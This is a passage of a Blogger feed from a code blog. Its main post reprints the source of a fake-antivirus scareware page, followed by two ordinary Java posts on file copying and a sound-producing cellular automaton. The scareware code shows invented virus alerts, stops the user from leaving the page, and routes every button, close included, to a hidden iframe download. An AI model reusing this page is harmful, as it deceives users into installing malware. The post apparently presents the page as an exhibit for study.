 &amp;lt;div class="blog6" id="blog6_1"&amp;gt;Checking: &amp;lt;span id="blog6"&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
 &amp;lt;div style="visibility: visible;" class="images_table" id="images_table"&amp;gt;
  &amp;lt;div class="images_table_text"&amp;gt;Your Computer is infected&amp;lt;/div&amp;gt;

   &amp;lt;div class="images_spacer"&amp;gt;&amp;lt;/div&amp;gt;
  &amp;lt;table class="images_inner_table" cellpadding="0" cellspacing="0"&amp;gt;
  &amp;lt;tbody&amp;gt;&amp;lt;tr class="images_table_tr_1"&amp;gt;
  &amp;lt;td colspan="2" width="260"&amp;gt;Name&amp;lt;/td&amp;gt;
 &amp;lt;td width="4"&amp;gt;&amp;lt;b class="del"&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;
 &amp;lt;td width="75"&amp;gt;Type&amp;lt;/td&amp;gt;
 &amp;lt;td width="4"&amp;gt;&amp;lt;b class="del"&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;
 &amp;lt;td&amp;gt;Threat level&amp;lt;/td&amp;gt;

 &amp;lt;/tr&amp;gt;
 &amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;
 &amp;lt;div class="images_inner_table_cont" id="images_inner_table_cont"&amp;gt;
 &amp;lt;div class="images_spacer"&amp;gt;&amp;lt;/div&amp;gt;
 
 &amp;lt;table cellpadding="0" cellspacing="0" class="images_inner_table_2" id="tablevir"&amp;gt;
  &amp;lt;tbody&amp;gt;
   &amp;lt;tr&amp;gt;
      &amp;lt;td width="14" height="20"&amp;gt;
         &amp;lt;/td&amp;gt;
      &amp;lt;td width="288" height="20"&amp;gt;&amp;lt;/td&amp;gt;
      &amp;lt;td width="90" height="20"&amp;gt;&amp;lt;/td&amp;gt;
      &amp;lt;td width="86" height="20"&amp;gt;&amp;lt;/td&amp;gt;
     &amp;lt;/tr&amp;gt;
  &amp;lt;/tbody&amp;gt;
 &amp;lt;/table&amp;gt;
 
 &amp;lt;/div&amp;gt;

 &amp;lt;div class="images_recommend"&amp;gt;&amp;lt;strong&amp;gt;Recommend:&amp;lt;/strong&amp;gt; Click "Start Protection" button to erase all threats&amp;lt;/div&amp;gt;
 &amp;lt;div class="images_start"&amp;gt;&amp;lt;form style="padding: 0pt; margin: 0pt; font-family: tahoma; font-size: 11px;"&amp;gt;&amp;lt;input style="padding: 0pt; margin: 0pt; font-family: tahoma; font-size: 11px;" value="Start Protection" onclick="download();return false;" type="button" height="23" width="104"&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;div class="images_main_content"&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div id="frame"&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div id="alert_window_0"&amp;gt;&amp;lt;div style="z-index: 100; width: 1664px; height: 881px;" class="backgroundOpacityLayer"&amp;gt;&amp;lt;/div&amp;gt;

&amp;lt;div align="center" style="z-index: 101; position: static; margin-top: 209px;" class="foregroundContentLayer"&amp;gt;


&amp;lt;div id="cl_alert" style="display:none;"&amp;gt;
 &amp;lt;div id="cl_main" class="images_table_divider" align="left"&amp;gt;

  &amp;lt;div class="close" onclick="download();return false;"&amp;gt;&amp;lt;/div&amp;gt;
 &amp;lt;div class="move" onmousedown="download();return false;"&amp;gt;&amp;lt;/div&amp;gt;
 &amp;lt;div class="spacer"&amp;gt;&amp;lt;/div&amp;gt;
 &amp;lt;div class="text1"&amp;gt;To help protect your computer, Windows Web Security have detected Trojans and ready to remove them.&amp;lt;/div&amp;gt;
 &amp;lt;div class="cl_viruses"&amp;gt;
  &amp;lt;div class="virus" id="viruses"&amp;gt;
 &amp;lt;div class="virus_1_1"&amp;gt;&amp;lt;b class="threat" style="position: absolute; left: 0px; top: 2px;"&amp;gt;&amp;lt;/b&amp;gt;Adware.Win32.Winad&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;&amp;lt;b class="threat" style="position: absolute; left: 0px; top: 2px;"&amp;gt;&amp;lt;/b&amp;gt;W32.Yaha.B@mm&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;&amp;lt;b class="threat" style="position: absolute; left: 0px; top: 2px;"&amp;gt;&amp;lt;/b&amp;gt;Magic DVD Ripper&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;&amp;lt;b class="threat" style="position: absolute; left: 0px; top: 2px;"&amp;gt;&amp;lt;/b&amp;gt;Trojan-PSW.Win32.LdPinch.abm&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;&amp;lt;b class="threat" style="position: absolute; left: 0px; top: 2px;"&amp;gt;&amp;lt;/b&amp;gt;Trojan virtumonde&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;&amp;lt;b class="threat" style="position: absolute; left: 0px; top: 2px;"&amp;gt;&amp;lt;/b&amp;gt;Trojan.Fakealert.355&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;&amp;lt;b class="threat" style="position: absolute; left: 0px; top: 2px;"&amp;gt;&amp;lt;/b&amp;gt;Trojan.Qoologic - Key Logger&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;&amp;lt;b class="threat" style="position: absolute; left: 0px; top: 2px;"&amp;gt;&amp;lt;/b&amp;gt;Adware.Win32.Look2me.ab&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;&amp;lt;b class="threat" style="position: absolute; left: 0px; top: 2px;"&amp;gt;&amp;lt;/b&amp;gt;Trojan Horse IRC/Backdoor.SdBot4.FRV&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;&amp;lt;b class="threat" style="position: absolute; left: 0px; top: 2px;"&amp;gt;&amp;lt;/b&amp;gt;Win32/Hoax.Renos.HX&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;

 &amp;lt;div class="virusname" id="hazardType"&amp;gt;
 &amp;lt;div class="virus_1_1"&amp;gt;noise.dat&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;emptyregdb.dat&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;mpr.dll&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;ieakui.dll&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;SET3.tmp&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;country.sys&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;ahui.exe&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;popcinfo.dat&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;dsdmo.dll&amp;lt;/div&amp;gt;&amp;lt;div class="virus_1_1"&amp;gt;Active Setup Log.txt&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;
  
 &amp;lt;/div&amp;gt;
 &amp;lt;div class="text2"&amp;gt;Spyware is software, which can gather information from user's computer through Internet connection and send them to its creater. Gather information can be passwords, e-mail adresses and all that data, which is important for you.&amp;lt;/div&amp;gt;

 &amp;lt;div class="remove" onclick="download();return false;"&amp;gt;&amp;lt;/div&amp;gt;
 &amp;lt;div class="cancel" onclick="download();return false;"&amp;gt;&amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;

&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;

&amp;lt;script&amp;gt;window.onbeforeunload = function() { 
return 'Your system is at risk of crash. Press CANCEL to prevent it.'; };


function download(){
 document.getElementById('frame').innerHTML = '&amp;lt;iframe src="download.php?q=2" style="width: 0px; height: 0px; border: 0px none;"&amp;gt;&amp;lt;/iframe&amp;gt;';
}
function n3(id,i){
 if (i==0){
  document.getElementById(id).style.visibility = 'visible';
  setTimeout('n3("'+id+'",1);',500);
 }else if(i==1){
  document.getElementById(id).style.visibility = 'hidden';
  setTimeout('n3("'+id+'",0);',500);
 }
}

function AddVir(text1,text2,text3){
var x=document.getElementById('tablevir').insertRow(0);
var y=x.insertCell(0);
var z=x.insertCell(1);
var zz=x.insertCell(2);
var zzz=x.insertCell(3);
y.innerHTML='&amp;lt;b class="threat"&amp;gt;&amp;lt;/b&amp;gt;';
z.innerHTML=text1;
zz.innerHTML=text2;
zzz.innerHTML=text3;
}
function scan(i){
 if (i&amp;lt;=503){
  per = Math.round((i*100)/503);
  document.getElementById('images_scroll_bg').style.width = i+'px';
  document.getElementById('images_scroll').innerHTML = per;
  
  file = ["MSFDC.INF","MSFS.CNT","MSFS.HLP","MSFS32.DLL","MSFVW32.DLL","MSG721.ACM","MSGM32.ACM","MSGSRV32.EXE","MSHDC.INF","MSHEARTS.CNT","MSHEARTS.EXE","MSHEARTS.HLP","MSJSTICK.DRV","MSMAIL.INF","MSMIXMGR.DLL","MSMOUSE.INF","MSMOUSE.VXD","MSMPU400.DRV","MSMPU401.VXD","MSN.CNT","MSN.HLP","MSN.MSN","MSN.TXT","MSNBBS.HLP","MSNCHAT.HLP","MSNDUI.DLL","MSNET.DRV","MSNET32.DLL","MSNEXCH.EXE","MSNFIND.EXE","MSNFULL.HLP","MSNINT.HLP","MSNMAIL.HLP","MSNP32.DLL","MSNPSS.CNT","MSNPSS.HLP","MSNVER.TXT","MSODISUP.VXD","MSOPL.DRV","MSOPL.VXD","MSPAINT.CNT","MSPAINT.EXE","MSPAINT.HLP","MSPCIC.DLL","MSPORTS.INF","MSPP32.DLL","MSPST32.DLL","MSPWL32.DLL","MSRLE32.DLL","MSSBLST.DRV","MSSBLST.VXD","MSSHRUI.DLL","MSSNDSYS.DRV","MSSNDSYS.VXD","MSSOUND.WAV","MSSP.VXD","MSTCP.DLL","MSUCIARE.WAV","MSVCRT20.DLL","MSVID32.DLL","MSVIDEO.DLL","MSVIEWUT.DLL","MSWD6_32.WPC","MT_T1101.SPD","MTD.INF","MTLITE.DRV","MTMMINIP.MPD","MULTILNG.INF","MV1401.DRV","MV1514MX.DRV","MVCL14N.DLL","MVIFM.DRV","MVIFM.PAT","MVIWAVE.DRV","MVMIXER.DRV","MVPAS.VXD","MVPR14N.DLL","MVPROAUD.DRV","MVTTL14C..DLL","MVUT14N.DLL","N15210.DOS","N18510.DOS","N2090522.SPD","N2290520.SPD","N890_470.SPD","N890X505.SPD","NAL.DLL","NBSTAT.EXE","NCC16.DOS","NDDEAPI.DLL","NDDENB.DLL","NDIS.VXD","NDIS2SUP.VXD","NDIS30.DLL","NDIS39XR.DOS","NDIS89XR.DOS","NDISHLP.SYS","NE1000.DOS","NE1000.SYS","NE2000.DOS","NE2000.SYS","NE3200.BIN","NE3200.DOS","NE3200.SYS","NEC24PIN.DRV","NECATAPI.VXD","NET.EXE","NET.INF","NET.MSG","NET3COM.INF","NETAMD.INF","NETAPI.DLL","NETAPI32.DLL","NETAUXT.INF","NETBEUI.VXD","NETBIOS.DLL","NETBW.INF","NETCABLE.INF","NETCD.INF","NETCDA.INF","NETCEM.INF","NETCLI.INF","NETCLI.INF","NETCPL.CPL","NETCPQ.INF","NETDDE.EXE","NETDEC.INF","NETDEF.INF","NETDET.INI","NETDI.DLL","NETEE16.INF","NETEVX.INF","NETFLEX.INF","NETFLX.BIN","NETFLX.DOS","NETFLX.SYS","NETGEN.INF","NETH.MSG","NETHP.INF","NETIBM.INF","NETIBMCC.INF","NETMADGE.INF","NETMON.386","NETMON.INF","NETNCR.INF","NETNICE.INF","NETNOVEL.INF","NETOLI.INF","NETOS.INF","NETOSI.INF","NETPPP.INF","NETPROT.INF","NETRACAL.INF","NETSERVR.INF","NETSETUP.ADM","NETSETUP.DLL","NETSETUP.EXE","NETSETUP.INF","NETSETUP.LAY","NETSILC.INF","NETSMC.INF","NETSMC32.INF","NETSMCTR.INF","NETSNIP.INF","NETSOCK.INF","NETSTAT.EXE","NETSUSSRC.INF","NETTCC..INF","NETTDKP.INF","NETTRANS.INF","NETTULIP.INF","NETUB.INF","NetWare.MS","NETWATCH.CNT","NETWATCH.EXE","NETWATCH.HLP","NETWORK.HLP","NETWORK.TXT","NETXIR.INF","NETZNOTE.INF","NICE.VXD","NLSFUNC.EXE","NM95SETP.DLL","NMAGENT.EXE","NMAGENT.INF","NMSUPP4.386","NMTHUNK.DLL","NO_1.CUR","NO_2.CUR","NO_3.CUR","NO_4.CUR","NO_5.CUR","NO_L.CUR","NO_M.CUR","NODRIVER.INF","NOTEPAD.CNT","NOTEPAD.EXE","NOTEPAD.HLP","NSCL.VXD","NTDLL.DLL","NW16.DLL","NWAB32.DLL","NWLINK.VXD","NWLSCON.EXE","NWLSPROC.EXE","NWNBLINK.VXD","NWNET32.DLL","NWNP32.DLL","NWPP32.DLL","NWREDIR.VXD","NWRPLTRM.COM","NWSERVER.VXD","NWSP.VXD","OAK.VXD","OCTK16.SYS","OCTK32.VXD","ODIHLP.EXE","OK124.DRV","OK1830US.SPD","OK1840US.SPD","OK1850US.SPD","OK19.DRV","OK19IBM.DRV","OKOL8701.SPD","OL830525.SPD","OL840518.SPD","OL850525.SPD","OLE2.DLL","OLE2.INF","OLE2CONV.DLL","OLE2DISP.DLL","OLE2NLS.DLL","OLE32.DLL","OLEAUT32.DLL","OLECLI.DLL","OLECLI32.DLL","OLECNV32.DLL","OLEDLG.DLL","OLESRV.DLL","OLESRV32.DLL","OLETHK32.DLL","OLIDM24.DRV","OLIDM9.DRV","OLITOK.DOS","OLITOK16.DOS","ONLSTMT.EXE","ONLSTMT.HLP","P351SX2.DRV","P4455514.SPD","PA3DMXD.DRV","PACKAGER.EXE","PACKAGER.CNT","PACKAGER.HLP","PAGESWAP.VXD","PAINTJET.DRV","PANMAP.DLL","PANSON24.DRV","PANSON9.DRV","PAP54001.SPD","PAP54101.SPD","PARALINK.VXD","PARITY.VXD","PASSPORT.MID","PASSWORD.CPL","PBRUSH.EXE","PC2X.MPD","PCCARD.VXD","PCI.VXD","PCMCIA.INF","PCNTN3.VXD","PCNTND.DOS","PCSA.EXE","PE2NDIS.DOS","PE3NDIS.EXE","PE3NDIS.VXD","PEN_1.CUR","PEN_2.CUR","PEN_3.CUR","PEN_4.CUR","PEN_5.CUR","PEN_L.CUR","PEN_M.CUR","PENDIS.DOS","PERF.VXD","PHIIPX.SPD","PHONE.PBK","PIANO.ANI","PIFCONV.EXE","PIFMGR.DLL","PING.EXE","PJLMON.DLL","PKPD.DLL","PKPD32.DLL","PMSPL.DLL","POINTER.DLL","POINTER.EXE","POLEDIT.CNT","POLEDIT.EXE","POLEDIT.HLP","POLEDIT.INF","POWER.DRV","POWERCFG.DLL","POWRPNT.PPT","PPM.VXD","PPPMAC.VXD","PRECOPY.INF","PRESENTA.SHW","PRINT.EXE","PRINTER.TXT","PRO4.DOS","PRO4AT.DOS","PRODINV.DLL","PROGMAN.CNT","PROGMAN.EXE","PROGMAN.HLP","PROPRINT.DRV","PROPRN24.DRV","PRORAPM.DWN","PROTEON.VXD","PROTMAN.DOS","PROTMAN.EXE","PRTUPD.INF","PS1.DRV","PS4079.ICM","PSCRIPT.DRV","PSCRIPT.HLP","PSCRIPT.INI","PSMON.DLL","PSTRIPE.BMP","PYRAMID2.BMP","Q1C117.VXD","QBASIC.EXE","QBASIC.HLP","QCS1000.SPD","QCS10503.SPD","QCS30503.SPD","QM1700_1.SPD","QM200C_1.SPD","QM823MR1.SPD","QMPS4101.SPD","QMS10030.ICM","QMS1725.SPD","QMS3225.SPD","QMS420.SPD","QMS45252.SPD","QMS860.SPD","QMS8P461.SPD","QMSCS210.SPD","QMSCS230.SPD","QUATTRO.WB2","QUICKVIEW.EXE","QUIETJET.DRV","QWIII.DRV","QWMMFIX.VXD","RAINBOW.ANI","RAMDRIVE.SYS","RASAPI16.DLL","RASAPI32.DLL","RCV0000.EFX","README.TXT","REBOOT.VXD","REDBRICK.BMP","REDIR32.EXE","REDIRECT.MOD","REDTILE.BMP","REGEDIT.CNT","REGEDIT.EXE","REGEDIT.HLP","REGSERV.EXE","REGSRV.INF","REGWIZ.EXE","RESTORE.EXE","RICHED.DLL","RICHED32.DLL","RINGIN.WAV","RINGOUT.WAV","RIVETS.BMP","RIVETS2.BMP","RMM.PDR","RNA.INF","RNAAPP.EXE","RNAL.DLL","RNANP.DLL","RNAPLUS.INF","RNASERV.DLL","RNASETUP.DLL","RNATHUNK.DLL","RNAUI.DLL","RNDSRV32.DLL","ROMAN.FON","ROUTE.EXE","RPCLTC1.DLL","RPCTLC3.DLL","RPCTLC5.DLL","RPCTLC6.DLL","RPCTLS3.DLL","RPCTLS5.DLL","RPCTLS6.DLL","RPCNS4.DLL","RPCPP.DLL","RPCRT4.DLL","RPCSS.EXE","RPLBOOT.SYS","RPLIMAGE.DLL","RPLIMAGE.EXE","RSRC16.DLL","RSRC32.DLL","RSRCMTR.EXE","RSRCMTR.INF","RUMOR.EXE","RUNDLL.EXE","RUNDLL32.EXE","RUNONCE.EXE","S3.DRV","S3.VXD","SACLIENT.DLL","SAMPLE VIDEOS","SAND.BMP","SAPNSP.DLL","SAVE32.COM","SB16.VXD","SB16SND.DRV","SBAWE.VXD","SBAWE32.DRV","SBFM.DRV","SCANDISK.BAT","SCANDISK.EXE","SCANDISK.EXE","SCANDISK.INI","SCANDISK.PIF","SCANPROG.EXE","SCANPST.EXE","SCAPST.HLP","SCCVIEW.DLL","SCRNSAVE.SCR","SCSI.INF","SCSI1HLP.VXD","SCSIPORT.PDR","SECUR32.DLL","SECURCL.DLL","SEIKO24E.DRV","SEIKOSM9.DRV","SELECT.EXE","SERENUM.VXD","SERIAL.VXD","SERIALUI.DLL","SERIFE.FON","SERIFF.FON","SERMDIR.EXE","SERVER.HLP","SETUP.BIN","SETUP.BMP","SETUP.EXE","SETUP.INF","SETUP.TXT","SETUP4.DLL","SETUPPP.INF","SETUPX.DLL","SETUPX.DLL","SETVER.EXE","SF4029.EXE","SHARE.EXE","SHELL.DLL","SHELL.INF","SHELL.NEW","SHELL.VXD","SHELL2.INF","SHELL3.INF","SHELL32.DLL","SHSCRAP.DLL","SIGNUP.EXE","SIZENESW.ANI","SIZENS.ANI","SIZENWSE.ANI","SIZEWE.ANI","SKPSFA_1.SPD","SLAN.DOS","SLCD.MPD","SLENH.DLL","SMALLE.FON","SMALLF.FON","SMARTDRV.EXE","SMARTND.DOS","SMC_ARC.DOS","SMC3000.DOS","SMC8000.DOS","SMC8000W.VXD","SMC80PC.VXD","SMC8100.DOS","SMC8100W.VXD","SMC8232.DOS","SMC8232W.VXD","SMC9000.DOS","SMC9000.VXD","SNAPSHOT.EXE","SNAPSHOT.VXD","SNDREC32.EXE","SNDVOL32.CNT","SNDVOL32.EXE","SNDVOL32.HLP","SNIP.VXD","SMMP.EXE"];
  
  
  document.getElementById('blog6').innerHTML = file[i];
  
  if (per==5){document.getElementById('123').innerHTML = '1';n3('blog',0);}
  if (per==25){document.getElementById('123').innerHTML = '2';}
  if (per==45){document.getElementById('123').innerHTML = '3';}
  if (per==70){document.getElementById('123').innerHTML = '4';}
  if (per==80){document.getElementById('123').innerHTML = '5';}
  if (per==90){document.getElementById('123').innerHTML = '6';}
  
  if (per==5){document.getElementById('345').innerHTML = '1';n3('forum',0);}
  if (per==15){document.getElementById('345').innerHTML = '2';}
  if (per==35){document.getElementById('345').innerHTML = '3';}
  if (per==55){document.getElementById('345').innerHTML = '5';}
  if (per==70){document.getElementById('345').innerHTML = '8';}
  if (per==80){document.getElementById('345').innerHTML = '11';}
  
  if (per==13){document.getElementById('567').innerHTML = '1';n3('community',0);}
  if (per==30){document.getElementById('567').innerHTML = '2';}
  if (per==60){document.getElementById('567').innerHTML = '4';}
  if (per==80){document.getElementById('567').innerHTML = '7';}
  
  if (i==10){
   AddVir("&amp;lt;strong&amp;gt;Adware.Win32.Winad&amp;lt;/strong&amp;gt;",'virus','&amp;lt;strong&amp;gt;&amp;lt;font color="#ff0000"&amp;gt;Critical&amp;lt;/font&amp;gt;&amp;lt;/strong&amp;gt;');
  }else if (i==40){
   AddVir("&amp;lt;strong&amp;gt;W32.Yaha.B@mm&amp;lt;/strong&amp;gt;",'virus','&amp;lt;strong&amp;gt;&amp;lt;font color="#ff0000"&amp;gt;Critical&amp;lt;/font&amp;gt;&amp;lt;/strong&amp;gt;'); 
  }else if (i==70){
   AddVir("&amp;lt;strong&amp;gt;Magic DVD Ripper&amp;lt;/strong&amp;gt;",'virus','&amp;lt;strong&amp;gt;&amp;lt;font color="#ff0000"&amp;gt;High&amp;lt;/font&amp;gt;&amp;lt;/strong&amp;gt;'); 
  }else if (i==100){
   AddVir("&amp;lt;strong&amp;gt;Trojan-PSW.Win32.LdPinch.abm&amp;lt;/strong&amp;gt;",'virus','&amp;lt;strong&amp;gt;&amp;lt;font color="#ff0000"&amp;gt;Critical&amp;lt;/font&amp;gt;&amp;lt;/strong&amp;gt;'); 
  }else if (i==130){
   AddVir("&amp;lt;strong&amp;gt;Trojan virtumonde&amp;lt;/strong&amp;gt;",'virus','&amp;lt;strong&amp;gt;&amp;lt;font color="#ff0000"&amp;gt;Critical&amp;lt;/font&amp;gt;&amp;lt;/strong&amp;gt;'); 
  }else if (i==170){
   AddVir("&amp;lt;strong&amp;gt;Trojan.Fakealert.355&amp;lt;/strong&amp;gt;",'virus','&amp;lt;strong&amp;gt;&amp;lt;font color="#ff0000"&amp;gt;Medium&amp;lt;/font&amp;gt;&amp;lt;/strong&amp;gt;');
  }else if (i==200){
   AddVir("&amp;lt;strong&amp;gt;Trojan.Qoologic - Key Logger&amp;lt;/strong&amp;gt;",'virus','&amp;lt;strong&amp;gt;&amp;lt;font color="#ff0000"&amp;gt;High&amp;lt;/font&amp;gt;&amp;lt;/strong&amp;gt;');
  }else if (i==250){
   AddVir("&amp;lt;strong&amp;gt;Adware.Win32.Look2me.ab&amp;lt;/strong&amp;gt;",'virus','&amp;lt;strong&amp;gt;&amp;lt;font color="#ff0000"&amp;gt;Critical&amp;lt;/font&amp;gt;&amp;lt;/strong&amp;gt;');
  }else if (i==300){
   AddVir("&amp;lt;strong&amp;gt;Trojan Horse IRC/Backdoor.SdBot4.FRV&amp;lt;/strong&amp;gt;",'virus','&amp;lt;strong&amp;gt;&amp;lt;font color="#ff0000"&amp;gt;Medium&amp;lt;/font&amp;gt;&amp;lt;/strong&amp;gt;');
  }else if (i==400){
   AddVir("&amp;lt;strong&amp;gt;Win32/Hoax.Renos.HX&amp;lt;/strong&amp;gt;",'virus','&amp;lt;strong&amp;gt;&amp;lt;font color="#ff0000"&amp;gt;Medium&amp;lt;/font&amp;gt;&amp;lt;/strong&amp;gt;');
  }
  
  i=i+1;
  setTimeout('scan('+i+');',18);
 }else{
  document.getElementById('cl_alert').style.display = 'block'; 
  document.getElementById('blog6').innerHTML = 'Complete Scan';
  //download();
 }
}
width = screen.width;
height = screen.height;

width1 = (width/2)-20;
height1 = (height/2)-20;


window.resizeTo(0,0);
window.moveTo(width1,height1);

alert('Windows Security 2011 has found critical process activity on your PC and will perform fast scan of system files!!!');

document.getElementById('loading').style.display = 'none';
document.getElementById('content').style.display = 'block';

window.moveTo(0,0);
window.resizeTo(screen.width,screen.height);
scan(0);&amp;lt;/script&amp;gt;

&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-4249816736825017688?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/4249816736825017688/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=4249816736825017688' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4249816736825017688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4249816736825017688'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/06/view-source-of-malware-website.html' title='View source of a malware website: http://bzowwjcr.cz.cc/fast-scan/'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-6252773427269758557</id><published>2011-06-10T04:56:00.000-07:00</published><updated>2011-06-10T04:56:57.529-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='sound'/><category scheme='http://www.blogger.com/atom/ns#' term='copy'/><category scheme='http://www.blogger.com/atom/ns#' term='file'/><title type='text'>Java: Write to File: Copy Bytes: Copy Music</title><content type='html'>&lt;pre&gt;

import java.io.*;
import java.io.File;
import javax.sound.sampled.*;

public class InOut {

public static void main(String[] args) {
 try {
      File srcFile = new File("earthmovers1.mp3");
      File dstFile = new File("earthmovers2.mp3");
      FileInputStream in = new FileInputStream(srcFile);
      FileOutputStream out = new FileOutputStream(dstFile);

      byte[] buf = new byte[1024];
      int len;
      while ((len = in.read(buf)) &gt; 0) { 
                                   out.write(buf, 0, len);
                                       }

     in.close();
     out.close();

   } catch ( Exception e ) {System.out.println( e );}


    }
}

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-6252773427269758557?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/6252773427269758557/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=6252773427269758557' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6252773427269758557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6252773427269758557'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/06/java-write-to-file-copy-bytes-copy.html' title='Java: Write to File: Copy Bytes: Copy Music'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-7074703655680639058</id><published>2011-06-09T16:30:00.000-07:00</published><updated>2011-06-21T14:59:51.558-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='alife'/><category scheme='http://www.blogger.com/atom/ns#' term='sound'/><title type='text'>aLife cellular automata with sound output</title><content type='html'>&lt;h4&gt;Warning: a typo creating a bug in this, needs repair.&lt;/h4&gt;
&lt;pre&gt;
import javax.sound.sampled.*;
import java.util.Random;
/**
 * 
 */
public class Alife
   {

    private double frequency = 1000.0;
    private double rad = 0.5 * Math.PI;
    private double volume = 256.0; 
    private int byteSize = 10000;
    
    
    public Alife(int myByteSize, double myFrequency, double myRad, double myVolume ) {
     byteSize =myByteSize;
     frequency = myFrequency;
     rad = myRad;
     volume = myVolume;
    }
    
    
   
    public void aByte() {
      Random r = new Random();
     try
     {
      AudioFormat af = new
      AudioFormat( (float)byteSize, 8, 1, true, true );
  
      
      DataLine.Info info = new
      DataLine.Info ( SourceDataLine.class, af );
      SourceDataLine source =
      (SourceDataLine) AudioSystem.getLine( info );
      source.open( af );
      source.start();
      byte[] buf = new byte[byteSize];
      int bufLess = buf.length - 10;
      int localPop = 0;
      int deaths = 0;
      int births = 0;
      int currentPop = 0;
      int iterations = 0;
     //  RULE 1 Any live cell with fewer than two live neighbours dies, as if caused by under-population.
     //  RULE 2 Any live cell with two or three live neighbours lives on to the next generation.
     //  RULE 3 Any live cell with more than three live neighbours dies, as if by overcrowding.
     //  RULE 4 Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction.
      boolean firstRun = true;
      while (true) {     
        iterations++; 
 localPop = 0;
        deaths = 0;
        births = 0;
        currentPop = 0;
        rad = rad + 0.1;
        if (rad&amp;gt;1.0) {rad=0.0;}
        for ( int i=0; i&amp;lt;buf.length; i++ ) {
    
        if (volume&amp;gt;512) {volume=0;}
        if (firstRun == false) {       
        if (i &gt; 10) {
          if (i &lt; bufLess) {
           if (buf[i-1]&gt;0.0) {localPop++;} 
    if (buf[i+1]&amp;gt;0.0) {localPop++;} 
    if (buf[i-2]&amp;gt;0.0) {localPop++;} 
    if (buf[i+2]&amp;gt;0.0) {localPop++;} 
           // GOT A LOCAL POPULATION COUNT ABOVE     
                     if ((buf[i]&amp;lt;0.1) &amp;&amp; (localPop==3))  { rad=r.nextGaussian();frequency++;volume++;  } // RULE 4
        else { if ( (buf[i]&amp;gt;0.0) &amp;&amp; (localPop&amp;gt;3) ) {rad=0.0; frequency--; } // RULE 3
                    else { if ( (buf[i]&amp;gt;0.0) &amp;&amp; (localPop&amp;lt;2) ) {rad=0.0;frequency--;volume--; } // RULE 1
